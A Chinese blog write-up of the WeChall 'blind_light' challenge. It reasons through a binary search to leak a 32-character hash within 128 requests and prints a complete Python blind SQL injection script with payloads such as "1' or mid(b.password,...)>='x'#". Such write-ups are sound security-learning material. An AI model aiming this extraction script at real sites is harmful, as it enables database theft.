• 一个盲注(附盲注脚本)


    这两天做这个Wechall的盲注,本来不想发Wechall的题解,但是这个题拖了我两天时间,发出来纪念下…………

    题目链接

    就是个简单的盲注,正误通过页面有无关键字确定。但是有请求次数限制,128次。

    需要我猜的密码,长度是32,每一位组成元素有16种可能。也就是说,如果顺序查找,按算法复杂度O(n)算,一位最多可能跑16次,远超128次限制。所以考虑用二分法来猜,二分法算法复杂度O(logn),刚好,每一位猜4次一定能猜出来,总共128次。

    然后,因为主要限制是比较次数,所以猜一个字符时,只比较一次,即是否大于等于。

    解题脚本如下:

      1 import requests
      2 import string
      3 
      4 url = "http://www.wechall.net/challenge/blind_light/index.php"
      5 cookies = {'WC': 'XXXXXX'}
      6 success_flag = "Welcome back, user. You would now be logged in"
      7 count = 0
      8 proxy = {
      9     'http': 'socks5://127.0.0.1:1080',
     10     'https': 'socks5://127.0.0.1:1080'
     11 }
     12 bit_list = list('0123456789ABCDEF')
     13 ac_dict = dict()
     14 
     15 
     16 def init_ac_dict():
     17     for i, bit in enumerate(bit_list):
     18         ac_dict[i] = 0
     19 
     20 
     21 def debug(msg):
     22     if debug_mode:
     23         print "[*]", msg
     24 
     25 
     26 def getdata_for_onebit(position, payload):
     27     '''
     28     payload like: 1' or mid(length(b.password),{position},1)>=char({ascii})#
     29     '''
     30     start_bit = 0
     31     end_bit = len(bit_list) - 1
     32 
     33     while end_bit >= start_bit:
     34         mid = start_bit + int(round((float(end_bit)-float(start_bit))/2))
     35         debug("start_bit: {}, end_bit: {}, mid: {}".format(
     36             start_bit, end_bit, mid))
     37 
     38         now_payload = payload.format(position=position, ascii=bit_list[mid])
     39         debug("Sending Payload: ""+now_payload+'"')
     40         while True:
     41             try:
     42                 rq = requests.post(url, data={
     43                                    'injection': now_payload, 'inject': 'inject'}, cookies=cookies, timeout=None, proxies=proxy)
     44             except Exception as e:
     45                 raise e
     46             else:
     47                 break
     48         if success_flag in rq.content:
     49             debug("Last Payload Success")
     50             if end_bit == mid:
     51                 start_bit = end_bit
     52                 break
     53             else:
     54                 start_bit = mid
     55         else:
     56             debug("Last Payload Error")
     57             if end_bit == mid:
     58                 break
     59             else:
     60                 end_bit = mid - 1
     61     debug(bit_list[start_bit])
     62     return bit_list[start_bit]
     63 
     64 
     65 def get_password_length():
     66     payload = "1' or mid(length(b.password),{position},1)>='{ascii}'#"
     67     bit_position = 1
     68     result = ""
     69     while bit_position <= 2:
     70         debug("Getting {}th bit".format(bit_position))
     71         temp = getdata_for_onebit(bit_position, payload)
     72         if temp is None:
     73             break
     74         else:
     75             result += temp
     76         bit_position += 1
     77     return result
     78 
     79 
     80 def get_password(length):
     81     payload = "1' or mid(b.password,{position},1)>='{ascii}'#"
     82     bit_position = 1
     83     result = ""
     84     while bit_position <= length:
     85         debug("Getting {}th bit".format(bit_position))
     86         temp = getdata_for_onebit(bit_position, payload)
     87         if temp is None:
     88             break
     89         else:
     90             result += temp
     91         bit_position += 1
     92     return result
     93 
     94 if __name__ == '__main__':
     95     debug_mode = True
     96     while True:
     97         password = get_password(32)
     98         rq = requests.post(url, data={
     99                            'thehash': password, 'mybutton': 'Enter'}, cookies=cookies, timeout=None, proxies=proxy)
    100         if 'We are sorry but it took you' in rq.content or "Your answer is wrong" in rq.content:
    101             print "[*] Not PASS", '.'*8, password
    102             print rq.content
    103             exit(998)
    104             rq = requests.get(
    105                 url+"?reset=me", cookies=cookies, timeout=None, proxies=proxy)
    106         else:
    107             print "[!] PASS", '.'*8, password
    108             break

    哎,其实主要是二分法老是写错。最开始我用的不是>=而是>,这样平均会多一次请求。

    如果用>判断,要找的位置会大于等于左侧,小于等于右侧,所以最后可能需要多一次判断,看是左侧值还是右侧值。

    但是用>=判断,要找的位置会大于等于左侧,小于右侧,少了一次判断。

    哎,没想到连二分法都不会写了……发博客警示下自己……

  • 相关阅读:
    Javascript 加解密
    Netsuite 友好提示
    一中另类调试javascrīpt的好方法
    js 转化为标准日期型
    多站点整合—单点登录简单方案{装载}
    win+e 失效
    (转载)向页面某处动态添加js的方法
    prototype.js源码解读(一)
    Saved search in customer center on tab
    spring boot 加载web容器tomcat流程源码分析
  • 原文地址:https://www.cnblogs.com/yuris115/p/5956425.html
Copyright © 2020-2023  润新知